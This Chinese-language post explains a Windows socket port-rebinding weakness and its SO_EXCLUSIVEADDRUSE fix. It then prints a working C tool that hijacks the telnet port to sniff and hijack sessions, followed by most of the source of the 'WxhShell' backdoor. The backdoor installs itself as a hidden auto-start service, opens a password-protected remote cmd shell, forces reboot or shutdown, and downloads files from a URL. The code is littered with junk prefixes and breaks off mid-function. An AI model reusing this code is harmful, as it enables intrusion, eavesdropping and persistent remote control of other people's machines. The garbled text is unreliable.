在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
IIu3mXAw s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
,v6Jr3 nQP0<_S saddr.sin_family = AF_INET;
N%_~cR; 43)9iDmJ8< saddr.sin_addr.s_addr = htonl(INADDR_ANY);
S m1bDa\!= Dr2h- bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
_cJ{fYwYU E8j9@BHU[r 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
i;tA<-$- 3jn@ [ m 这意味着什么?意味着可以进行如下的攻击:
AnyFg)a< P! 3$RO 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
5m bs0GL JZv]tJWq 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
QO?ha'Sl /9yiMmr5W 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
$yc,D=*Isi 'qP^MdoE%~ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Mb9q<4 /Z% ?; 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
k}O|4*.BT 9D|
FqU | 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
#0P<#S^7 5\'%zZ, l 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
+Va?wAnr g 764wl #include
WR-C_1-pT #include
I{AU, #include
"TV.$s$. #include
$XI<s$P%(% DWORD WINAPI ClientThread(LPVOID lpParam);
PRLV1o1# int main()
ljis3{kn"" {
$Us@fJr WORD wVersionRequested;
kg61Dgu DWORD ret;
;`+RSr^8$ WSADATA wsaData;
Pz)QOrrG~ BOOL val;
M$?6
' SOCKADDR_IN saddr;
.J@[v SOCKADDR_IN scaddr;
nn
int err;
EGDE4n5>I SOCKET s;
C&st7.
(k SOCKET sc;
`MwQ6%lf int caddsize;
$oQsh|sTI HANDLE mt;
6P~"7k DWORD tid;
hHg
gH4T wVersionRequested = MAKEWORD( 2, 2 );
&59#$LyH`% err = WSAStartup( wVersionRequested, &wsaData );
5HIpoj;\( if ( err != 0 ) {
X|QCa@Foe printf("error!WSAStartup failed!\n");
otIJ[Mvyq return -1;
?.A|Fy^ }
|)4$\<d saddr.sin_family = AF_INET;
u7C{> Hb+#*42v //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
]dK]a:S rO`g~>- saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
.apX72's, saddr.sin_port = htons(23);
u20b+c4 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7gMtnwT {
KVcZ@0[S printf("error!socket failed!\n");
)eFFtnu5 return -1;
PJYA5"}W }
OT&E)eR val = TRUE;
YKg[k:F //SO_REUSEADDR选项就是可以实现端口重绑定的
RsD`9>6) if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
sKuTG93sr@ {
9v
F2aLPk printf("error!setsockopt failed!\n");
,1[??Y return -1;
3.0c/v5Go }
9aU:[]w //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
GA_`C"mx //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Riw7<j //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
iXm||?Rnx ^0|NmMJ] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
7
h1"8#X {
NslA/"* ret=GetLastError();
m3(T0.j0P printf("error!bind failed!\n");
DqMK[N,0 return -1;
Tb={g;0@ }
M96( Rg listen(s,2);
V0 F30rK while(1)
zn
?;>Bl {
c9uT`h caddsize = sizeof(scaddr);
!~N4}!X3du //接受连接请求
N
&[,nUd sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
]k:m2$le if(sc!=INVALID_SOCKET)
8T)zB6ng {
W#L"5pRg mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
euhZ4+ if(mt==NULL)
T{<@MK%],d {
_0*>I1F~ printf("Thread Creat Failed!\n");
B-~&6D, break;
p},Fwbl }
.G_3blE; }
SO<m(o)G2 CloseHandle(mt);
0Ad~!Y+1 }
dn\F! closesocket(s);
M91lV(Z WSACleanup();
k<| l\]w return 0;
>NRz*h # }
/plUzy2Yu DWORD WINAPI ClientThread(LPVOID lpParam)
]kkBgjQbS {
8KtgSash SOCKET ss = (SOCKET)lpParam;
G\+nWvV7 SOCKET sc;
L{LU@.;1 unsigned char buf[4096];
ING_:XpnJ SOCKADDR_IN saddr;
MXF"F:-Kn long num;
P"x-7>c>Y
DWORD val;
}#G"!/ZA0: DWORD ret;
bez'[Y{ //如果是隐藏端口应用的话,可以在此处加一些判断
R5eB,FN //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
(Q5@MfK` saddr.sin_family = AF_INET;
T#n1@FgC saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
3EVC8ue
saddr.sin_port = htons(23);
Ke?gz:9j if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
KKjxg7{K {
OJsd[l3xR printf("error!socket failed!\n");
m6r )Z5}f return -1;
),]2`w&k }
H@MFj>~ val = 100;
n<:d%&^n if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vaRwhE: {
"'!%}; ret = GetLastError();
Dw`m>'J0 return -1;
e$EF% cKH }
@y(Wy} if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Nr24[e
G>d {
sk
?'^6Xh ret = GetLastError();
{?/8jCVd return -1;
`GQiB]Z }
7p.h{F'A if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
QG|GXp_q` {
U>_IYT
printf("error!socket connect failed!\n");
hY}/Y closesocket(sc);
v0C;j(2zb closesocket(ss);
?JgO-. return -1;
#t@x6Vt }
5eOj,[? while(1)
S&3X~jD(1 {
QM ZUt //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
'}Wu3X //如果是嗅探内容的话,可以再此处进行内容分析和记录
`(,*IK a //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
adI!W-/R: num = recv(ss,buf,4096,0);
$%
Ci8p if(num>0)
^.#X<8hr send(sc,buf,num,0);
3kiE3*H else if(num==0)
9Yl8ndP^E break;
a_{io`h3& num = recv(sc,buf,4096,0);
0TO_1 0D if(num>0)
qB F!b0lr send(ss,buf,num,0);
R6!cK[e]4 else if(num==0)
5e)6ua , break;
*IWFeu7y }
r]8x;v1 closesocket(ss);
'B3Wz a. closesocket(sc);
y~ _za(k return 0 ;
q#99iiG1 }
Or+*q91j 2;4]PRD6w <!~1{`n%9J ==========================================================
AU)1vx(\w %{7_E*I@n 下边附上一个代码,,WXhSHELL
7G.o@p6$ VU! l50 ==========================================================
fey*la Xq n @&"+ #include "stdafx.h"
7}ws
|4Y ZU|6jI} #include <stdio.h>
dP$8JI{ #include <string.h>
_ }E-~I> #include <windows.h>
%j'G.*TD #include <winsock2.h>
mDQEXMD #include <winsvc.h>
rGnI( m. #include <urlmon.h>
|rHG%VnBH
u>}w- #pragma comment (lib, "Ws2_32.lib")
1Xy8|OFc[ #pragma comment (lib, "urlmon.lib")
M3Khc#5S( a)!![X?\ #define MAX_USER 100 // 最大客户端连接数
9-
xlvU,o #define BUF_SOCK 200 // sock buffer
]V36-%^ #define KEY_BUFF 255 // 输入 buffer
><NI'q*cQ )MWUS;O< #define REBOOT 0 // 重启
A%Bgp?B #define SHUTDOWN 1 // 关机
z\fW )/ qoC]#M$oo# #define DEF_PORT 5000 // 监听端口
qzA`d
5rX 4$
Dt8!p0 #define REG_LEN 16 // 注册表键长度
R_1)mPQ^P #define SVC_LEN 80 // NT服务名长度
H2qf' iHAU|`'N) // 从dll定义API
iq"ob8. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
PiMKu|,3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
D|@bGN typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
T'ED$}N>~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
0]AN; )0#j\B // wxhshell配置信息
48 W.qzC struct WSCFG {
BBHK int ws_port; // 监听端口
fdlvn*H char ws_passstr[REG_LEN]; // 口令
D \N
\BD int ws_autoins; // 安装标记, 1=yes 0=no
3k#[(phk char ws_regname[REG_LEN]; // 注册表键名
sl/=g
char ws_svcname[REG_LEN]; // 服务名
z Yw;q3" char ws_svcdisp[SVC_LEN]; // 服务显示名
t})lr\ char ws_svcdesc[SVC_LEN]; // 服务描述信息
EL^8zyg%% char ws_passmsg[SVC_LEN]; // 密码输入提示信息
60!1D>, int ws_downexe; // 下载执行标记, 1=yes 0=no
;LCTCt` char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
LHh5 v"zjG char ws_filenam[SVC_LEN]; // 下载后保存的文件名
e`i7ah; CSMeSPOm] };
E7Ibp79}N !z11"
c // default Wxhshell configuration
7~_I=- struct WSCFG wscfg={DEF_PORT,
XJqTmj3
"xuhuanlingzhe",
>+cSPN'i> 1,
L0rip5[;d "Wxhshell",
;{vwBDV!' "Wxhshell",
lT 8#bA "WxhShell Service",
!fY7"E{%% "Wrsky Windows CmdShell Service",
ypx: )e"/ "Please Input Your Password: ",
9O;cJ)tXY 1,
qG<7hr@x] "
http://www.wrsky.com/wxhshell.exe",
t\h$&[[l'z "Wxhshell.exe"
NJtQx2Sd'H };
wV(AT$ [r)eP({ // 消息定义模块
%Y~>Jl char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
dsJm>U) char *msg_ws_prompt="\n\r? for help\n\r#>";
N0i!l|G6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
_V@WNo%B char *msg_ws_ext="\n\rExit.";
]r4bRK[1 char *msg_ws_end="\n\rQuit.";
@@I7$* char *msg_ws_boot="\n\rReboot...";
~q)u(WC| char *msg_ws_poff="\n\rShutdown...";
7kKuZW@K- char *msg_ws_down="\n\rSave to ";
7R}9oK_I uG!:Z6%p char *msg_ws_err="\n\rErr!";
/F.Wigv char *msg_ws_ok="\n\rOK!";
_;56^1'T $ a? char ExeFile[MAX_PATH];
F^QQ0h]2 int nUser = 0;
O] Y v HANDLE handles[MAX_USER];
<$%X<sDkq int OsIsNt;
-$(Jk< EIjI!0j SERVICE_STATUS serviceStatus;
MJ`N,E[ SERVICE_STATUS_HANDLE hServiceStatusHandle;
'OwyyPBF #B8*gFZB // 函数声明
v2Bzx/F: int Install(void);
dBSbu=^$ ) int Uninstall(void);
(hIF]>,kl int DownloadFile(char *sURL, SOCKET wsh);
jjRUL. int Boot(int flag);
+ WVIZZ8 void HideProc(void);
_A98 int GetOsVer(void);
~vHk&r]| int Wxhshell(SOCKET wsl);
F.tfgW(A@ void TalkWithClient(void *cs);
]1D%zKY%$Z int CmdShell(SOCKET sock);
xg<Hxn,<M int StartFromService(void);
41G5!=i int StartWxhshell(LPSTR lpCmdLine);
y%S1ZTScO .%}?b~
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
s,6`RI% VOID WINAPI NTServiceHandler( DWORD fdwControl );
!*aPEf270 u: &o}[ // 数据结构和表定义
~e `Bq> SERVICE_TABLE_ENTRY DispatchTable[] =
#`(WUn0H? {
]PWDE" {wscfg.ws_svcname, NTServiceMain},
^Dg<Ki {NULL, NULL}
sV/l5]b] };
>@_im6 UDy(dn>J:J // 自我安装
&$'z int Install(void)
\8S~c8Z~ {
uI~s8{0T6 char svExeFile[MAX_PATH];
)[L^Dmd, HKEY key;
).5RPAP strcpy(svExeFile,ExeFile);
D f4+^B,1 5!I4l1 // 如果是win9x系统,修改注册表设为自启动
J NVr if(!OsIsNt) {
lhH`dG D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!z 53OT! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
k|vI<:'p, RegCloseKey(key);
iDoDwq!l_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.1yT*+` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
?YQPlv:<o. RegCloseKey(key);
a,|?5j9,P return 0;
:XG;ru%i }
3*ixlO:qGk }
[kV;[c} }
foRD{Hx else {
Os&n vAb^]d // 如果是NT以上系统,安装为系统服务
FOwnxYGVf SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
YO+{,$ if (schSCManager!=0)
c$:1:B9\ {
X(A.X:" SC_HANDLE schService = CreateService
S0d~.ah30 (
N~^yL <O schSCManager,
{2&m`Dbm wscfg.ws_svcname,
JIm4vS wscfg.ws_svcdisp,
HOoPrB m SERVICE_ALL_ACCESS,
(#D*Pl SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
>j*;vG5T SERVICE_AUTO_START,
WIr2{+# SERVICE_ERROR_NORMAL,
Bc7V)YK svExeFile,
G7GZDi NULL,
5| B(\wqG NULL,
5|QzU|gPn NULL,
R=Zn -q NULL,
^EELaG NULL
"9!d]2.-Vk );
0'5/K , if (schService!=0)
0 (U#) {
({s6eqMhDd CloseServiceHandle(schService);
S4UM|` CloseServiceHandle(schSCManager);
'1?\/,em strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
1'.7_EQ4T strcat(svExeFile,wscfg.ws_svcname);
2P#=a?~[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
#KxbM-1= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
L<^j"!0 RegCloseKey(key);
*N'K/36; return 0;
{-3L IO }
O7d$YB_' }
7hP<f}xL CloseServiceHandle(schSCManager);
lot%N(mB` }
kIHDeo%K} }
%`MQmXgM #Z+i~t{e( return 1;
<"N_j]wD }
sm,VYYs {n#k,b&9B // 自我卸载
E>b2+;Jv int Uninstall(void)
9,uhfb^] {
G!w"{Bk?9 HKEY key;
{8$=[; uvDzKMw~R if(!OsIsNt) {
&QRE"_g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
qgIb/6;xQ RegDeleteValue(key,wscfg.ws_regname);
+gd4\ZG RegCloseKey(key);
) J]9 lW&y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$rIoHxh. y RegDeleteValue(key,wscfg.ws_regname);
KmG RegCloseKey(key);
T>TWU: return 0;
q6Rr.A }
,.iRnR
}
o[oM8o< }
m!<i0thJ else {
m>USD?i >~%e$a7}+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
+#U|skl if (schSCManager!=0)
&Z(K6U#. {
**9x?s SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
F+R?a+e if (schService!=0)
^;!0j9"*: {
:B3[:MpL} if(DeleteService(schService)!=0) {
-;f*VM.a CloseServiceHandle(schService);
FZjHw_pP CloseServiceHandle(schSCManager);
*eI)Z=8 return 0;
[Wd-Zn% }
XO#/Fv! CloseServiceHandle(schService);
rX_@Ihv' }
!!@A8~H CloseServiceHandle(schSCManager);
valtev0< }
XL#[%X9 }
{{V8;y
#^m0aB7r return 1;
=qN2Xg/ }
D\IjyZ-O SJD@&m%?[ // 从指定url下载文件
^,m< 9 int DownloadFile(char *sURL, SOCKET wsh)
P96pm6H_; {
_zlqtO HRESULT hr;
zvABU+{jD char seps[]= "/";
fYKO J5f char *token;
`:N# 'i char *file;
.MO\uh0N char myURL[MAX_PATH];
" \I4u{zC char myFILE[MAX_PATH];
4iSa7YqhBT RMMd#/A@} strcpy(myURL,sURL);
W3`>8v1?o token=strtok(myURL,seps);
~l;[@jsw F while(token!=NULL)
f{SB1M {
)`^p%k file=token;
6'\6OsH token=strtok(NULL,seps);
dJ"iEb|4 }
^N8)]F, &zs'/xv] GetCurrentDirectory(MAX_PATH,myFILE);
DNGvpKY@ strcat(myFILE, "\\");
~y=T5wt strcat(myFILE, file);
Kw#so; e send(wsh,myFILE,strlen(myFILE),0);
P[s8JDqu send(wsh,"...",3,0);
\fr-<5w7 9 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
^C2\`jLMY if(hr==S_OK)
gV&z2S~" return 0;
+`?Y?L^
J else
Y*mbjyt[?X return 1;
pr%nbl \u6^Varw }
LC1(Xbf 7 |DHplI // 系统电源模块
gZ5[
C int Boot(int flag)
>0Q|nCx {
~]ZpA-*@Ut HANDLE hToken;
N !TW! TOKEN_PRIVILEGES tkp;
(O0Urm R|i/lEq if(OsIsNt) {
Da"j E OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
<n3!{w3< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
C6rg<tCH tkp.PrivilegeCount = 1;
NcY608C tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
B"%{i-v>** AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
AT5aDEb^^ if(flag==REBOOT) {
_X@v/sAy if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
/x3/Ubmz~x return 0;
Nk {XdrY }
V!)O6?l else {
T#bu
V if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
GF3/ RT9 return 0;
LjV]0%j?r }
Web|\CH }
OyqNLR else {
y"Nsh>h if(flag==REBOOT) {
a#c6[! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
^ns@O+Fk return 0;
eb*#'\~' }
EbqcV\Kb else {
ayAo^q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
>}(CEzc8 return 0;
p!s}=wI` }
!
!PYP'e }
znJ'iVf k}~O}~- return 1;
1bGopi/ }
GguFo+YeZ
zxp` // win9x进程隐藏模块
^iQn'++Q void HideProc(void)
t(="h6i {
s3W@WH^. ak:c rrkx HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
7'OtruJ if ( hKernel != NULL )
,m,)I {
q 4V7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
s: 3z'4oX ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
6m6zA/ FreeLibrary(hKernel);
<8,cuX\ }
ne^imht a')|1DnR return;
^B+!N; }
!+:ov'F \e`~i@) ~Z // 获取操作系统版本
)#LpCM,a int GetOsVer(void)
Un6/e/6, {
Xt#1Qs OSVERSIONINFO winfo;
H{t_xL)k. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
f-r]
|k GetVersionEx(&winfo);
t=xOQ8 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ntmyNf?; return 1;
f3UXCp else
*3D%<kVl return 0;
RxQh2<? }
$y
b4xU q{ O% | // 客户端句柄模块
`%j~|i)4 int Wxhshell(SOCKET wsl)
!~h}8'a? {
/<rt1&0 SOCKET wsh;
h&kZjQ& struct sockaddr_in client;
GIAc?;zY DWORD myID;
BATG FS& E#s)52z=B while(nUser<MAX_USER)
=~+DUMBT {
A=kH%0s2p@ int nSize=sizeof(client);
?-Vjha@BO wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
9aJ%`i if(wsh==INVALID_SOCKET) return 1;
8iekEG$H VM0j`bs'K* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
~xoF6CF if(handles[nUser]==0)
77Bgl4P closesocket(wsh);
pFJB'=c else
R<V!%rL;; nUser++;
D$JHs4 }
~(]0k.\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
#Z5}2soA Iuh/I +[7 return 0;
c*R/]Dn }
u!:z.RH8n Reu*Pe // 关闭 socket
owPm/ F void CloseIt(SOCKET wsh)
z.}[m,oTF {
+b3^.wkq closesocket(wsh);
oP4GEr nUser--;
*cO sv ExitThread(0);
j+HHQd7Y }
L;od6<.*m @&}q}D // 客户端请求句柄
Vi$-Bw$@ void TalkWithClient(void *cs)
(<
=}]v {
07hF2[i ~ Uo)0 SOCKET wsh=(SOCKET)cs;
]TaN{" char pwd[SVC_LEN];
72,rFYvpK char cmd[KEY_BUFF];
ooV*I|wcI
char chr[1];
~gu3g^<0v int i,j;
G-T0f ~0b O} while (nUser < MAX_USER) {
Zo{$ 5#QXR+
T if(wscfg.ws_passstr) {
4np qJ1 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
kEd@oC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=H|6 GJ //ZeroMemory(pwd,KEY_BUFF);
nF5qw>t# i=0;
CNww`PX,zZ while(i<SVC_LEN) {
Ig5L$bAM~ P<K){V // 设置超时
B*gdgM*` fd_set FdRead;
O=9-Qv| struct timeval TimeOut;
%K]euEqs FD_ZERO(&FdRead);
CpQN,-4 FD_SET(wsh,&FdRead);
$m CarFV-T TimeOut.tv_sec=8;
4BwQA#zE TimeOut.tv_usec=0;
z;u int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
%4W$Lq} if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
V:G>G'Eh0 P<fnLQ9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Q%-di= pwd
=chr[0]; R-:fd!3oQ
if(chr[0]==0xd || chr[0]==0xa) { lb:/EUd5
pwd=0; ]
7 _`]7p
break; M,5"b+mX[~
} sZLT<6_B
i++; ?,yj")+
} i{I~mrm/'\
VS&TA>
// 如果是非法用户,关闭 socket b^[F""!e
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [2|kl
l
} /W<>G7%.
eu|j=mB
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4hw@yTUo
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A0%}v*
"U\JV)N
while(1) { p^iRPI
+S))3 5N[
ZeroMemory(cmd,KEY_BUFF); 4R5D88=C
>s` J5I!
// 自动支持客户端 telnet标准 eX_D/25 $
j=0; P+)DsZ0ig
while(j<KEY_BUFF) { s#uJ
;G
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "l >Igm
cmd[j]=chr[0]; ujJI
1I
if(chr[0]==0xa || chr[0]==0xd) { `
}3qhar
cmd[j]=0; yAN=2fZm
break;
G"T',~
} eznypY=
j++; 2<hpK!R
} h!m_PgRSs
mR;qMX)0h
// 下载文件 @zgdq
if(strstr(cmd,"http://")) { SwU\
q]^|Z
send(wsh,msg_ws_down,strlen(msg_ws_down),0); uf&N[M
if(DownloadFile(cmd,wsh)) {Ha8]y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KzQ3.)/q
else ]QuM<ms
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
=~I-]4
} IuZ) [*W
else { TT9z_Q5~
2y%,p{="
switch(cmd[0]) { mYc.x
7u[j/l,
// 帮助 Gy[O)PEEh
case '?': { 3/#:~a9Q
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cJgBI(S5
break; >O5m5@GK3a
} \u&_sBLKV
// 安装 .%zy`n
case 'i': { ejA%%5q
if(Install()) Erk?}E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0<TD/1wN
else GHQ;hN:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F}
d
break; QORN9SY
} r_YIpnJ
// 卸载 S!{t6'8K
case 'r': { 8?Z4-6!{V,
if(Uninstall()) +w8R!jdA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rDdzxrKg{
else E\u#t$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .`CZUKG
break; R<x'l=,D(
} dCu'>G\bP
// 显示 wxhshell 所在路径 ip~$X2
case 'p': { KgW:@X7wvM
char svExeFile[MAX_PATH]; >E,U>@+
strcpy(svExeFile,"\n\r"); 3Oa*%kP+
strcat(svExeFile,ExeFile); >h+349
send(wsh,svExeFile,strlen(svExeFile),0); +\"-P72vjk
break; wDwH.~3!
} ?RzD Qy D
// 重启 kw`WH)+F
case 'b': { )+H[kiN
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k0Ek:MjJr
if(Boot(REBOOT)) nv<` K9d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B-d(@7,1
else { z>R#H/h+
closesocket(wsh); 0hZ1rqq8C
ExitThread(0); e5Mln!.o
} *1@:'rJ
break; umLb+GbI4
} MCh#="L2
// 关机 p
h[\)
case 'd': { xmGk*W)P
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1b9hE9a{j
if(Boot(SHUTDOWN)) U1_&gy @y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \C5%\4
else { dd|W@Xp -
closesocket(wsh); Iak0 [6Ey
ExitThread(0); F\ctu aLC
} 8e0."o.6
break; s/Xb^XjS1
} [Vdz^_@Y
// 获取shell wve=.n
case 's': { m+itno
CmdShell(wsh); #0;HOeIiH
closesocket(wsh); j8 C8X$
ExitThread(0); _#o'
+_Z
break; $j)hNWI
} >"3>fche
// 退出 9SMiJad<
case 'x': { r.0oxH']
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A"Q@W<.
CloseIt(wsh); *^ \FIUd
break; 2i|B=D(
} %]p6Kn/>
// 离开 c<+;4z
case 'q': { Ri>?KrQF%
send(wsh,msg_ws_end,strlen(msg_ws_end),0); `:M^8SYrL
closesocket(wsh); "8V{5e!%j'
WSACleanup(); V,%L~dI
exit(1); SK$Vk[c]
break; *R% wUi
} N_75-S7Cm
} #fhEc;t
} ^%y`u1ab
{F|48P;J
// 提示信息 .I$}KE)
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^;F{)bmu+)
} uHNpfKnZ
} A\te*G0:S
8cHE[I
return; 3kmeD".
} ix Z)tNz
u}6v?!
// shell模块句柄 w?csV8ot
int CmdShell(SOCKET sock) !p
8psi0
{ ;LJ3c7$@lf
STARTUPINFO si; t^EhE
ZeroMemory(&si,sizeof(si)); d`Q7"}uZ
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; > 8]j
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rn.\tDeA
PROCESS_INFORMATION ProcessInfo; cy~oPj]j
char cmdline[]="cmd"; j?n+>/sG,
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P"7ow-
return 0; 2Ohp]G
} kpob b
&~5=K
// 自身启动模式 [6(Iwz?
int StartFromService(void) G%TL/Z40
{ 4}KU>9YRA
typedef struct n"aCt%v
{ wX1ig
DWORD ExitStatus; fMK#x\.4
DWORD PebBaseAddress; H l j6$%.
DWORD AffinityMask; qX>Q+_^
